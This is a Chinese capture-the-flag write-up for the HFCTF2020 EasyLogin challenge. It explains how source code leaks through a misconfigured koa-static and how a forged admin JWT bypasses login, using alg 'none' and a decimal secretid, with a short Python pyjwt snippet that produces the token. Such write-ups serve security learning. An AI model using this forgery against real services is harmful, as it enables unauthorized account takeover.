复现环境:
https://buuoj.cn/challenges#[HFCTF2020]EasyLogin
https://www.ctfhub.com/#/challenge
解题过程:
运行环境发现是一个登录页面,直接登录显示Cannot read property 'split' of undefined
,需要先注册再登陆。
使用注册的普通账号登录,发现get flag按钮,点击提示permission denied
,无权限,那么此题的方向应该是伪造成一个高权限账户。
截取登录包,发现两处可疑authorization校验字段,Cookie也存在sses.aok的校验
Cookie字段包含修改username和其他字段尝试了,没有效果,看起来不是利用这个地方
sses.aok的校验
通过查看源码,发现/static/js/app.js 页面存在提示
koa-static 错误配置的源码泄露
说明 app.js 是直接静态映射到程序根目录的,直接访问根目录的该文件可直接看到源码
/**
* 或许该用 koa-static 来处理静态文件
* 路径该怎么配置?不管了先填个根目录XD
*/
继续分析根目录的app.js
,发现代码引用了两个当前目录的文件
const rest = require('./rest');
const controller = require('./controller');
访问rest.js
发现同样一个路径前缀 api
const pathPrefix = '/api/';
访问controller.js
看到这样的代码
遍历在controllers文件夹下的以.js结尾的文件,并且引入文件添加在router中,推断controllers文件夹下存在一个api.js文件
function addControllers(router, dir) {
fs.readdirSync(__dirname + '/' + dir).filter(f => {
return f.endsWith('.js');
}).forEach(f => {
const mapping = require(__dirname + '/' + dir + '/' + f);
addMapping(router, mapping);
});
}
module.exports = (dir) => {
const controllers_dir = dir || 'controllers';
const router = require('koa-router')();
addControllers(router, controllers_dir);
return router.routes();
};
访问/controllers/api.js
前端几个能看到的功能接口逻辑都在了,分析登录和注册接口
const token = ctx.header.authorization || ctx.request.body.authorization || ctx.request.query.authorization;
const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid;
console.log(sid)
if(sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {
throw new APIError('login error', 'no such secret id');
}
const secret = global.secrets[sid];
const user = jwt.verify(token, secret, {algorithm: 'HS256'});
1、确认用户身份的技术用的是jwt (Json WEB Token)
在注册时候生成一个token 由下面三部分组成const token = jwt.sign({secretid, username, password}, secret, {algorithm: 'HS256'});
登陆时再以相同的方式生成token对比。
JWT 存在几种攻击手段,这个题利用的是 将加密方式改为’none’ 的那种
签名算法确保恶意用户在传输过程中不会修改JWT。但是标题中的alg字段可以更改为none。一些JWT库支持无算法,即没有签名算法。当alg为none时,后端将不执行签名验证。将alg更改为none后,从JWT中删除签名数据(仅标题+’.'+ payload +’.')并将其提交给服务器。
2、secretid值校验
要求 sid 不能为 undefined,null,并且必须在全局变量 secrets 数组的长度和 0 之间。
JavaScript 是一门弱类型语言,可以通过空数组与数字比较永远为真或是小数来绕过
python有处理jwt的模块,根据上面分析,secretid 赋值小数,algorithm赋值none,key值是一个函数必需字段给空值就行,生成token就是authorization值的内容
python 安装jwt pip install pyjwt
import jwt
token = jwt.encode({"secretid":0.1,"username":"admin","password":"admin"},algorithm="none",key="").decode('utf-8')
print(token)
把生成的值替换authorization的值就通过验证了
payload通过验证登入之后点击get flag 权限就是够的了
获取flag
网友评论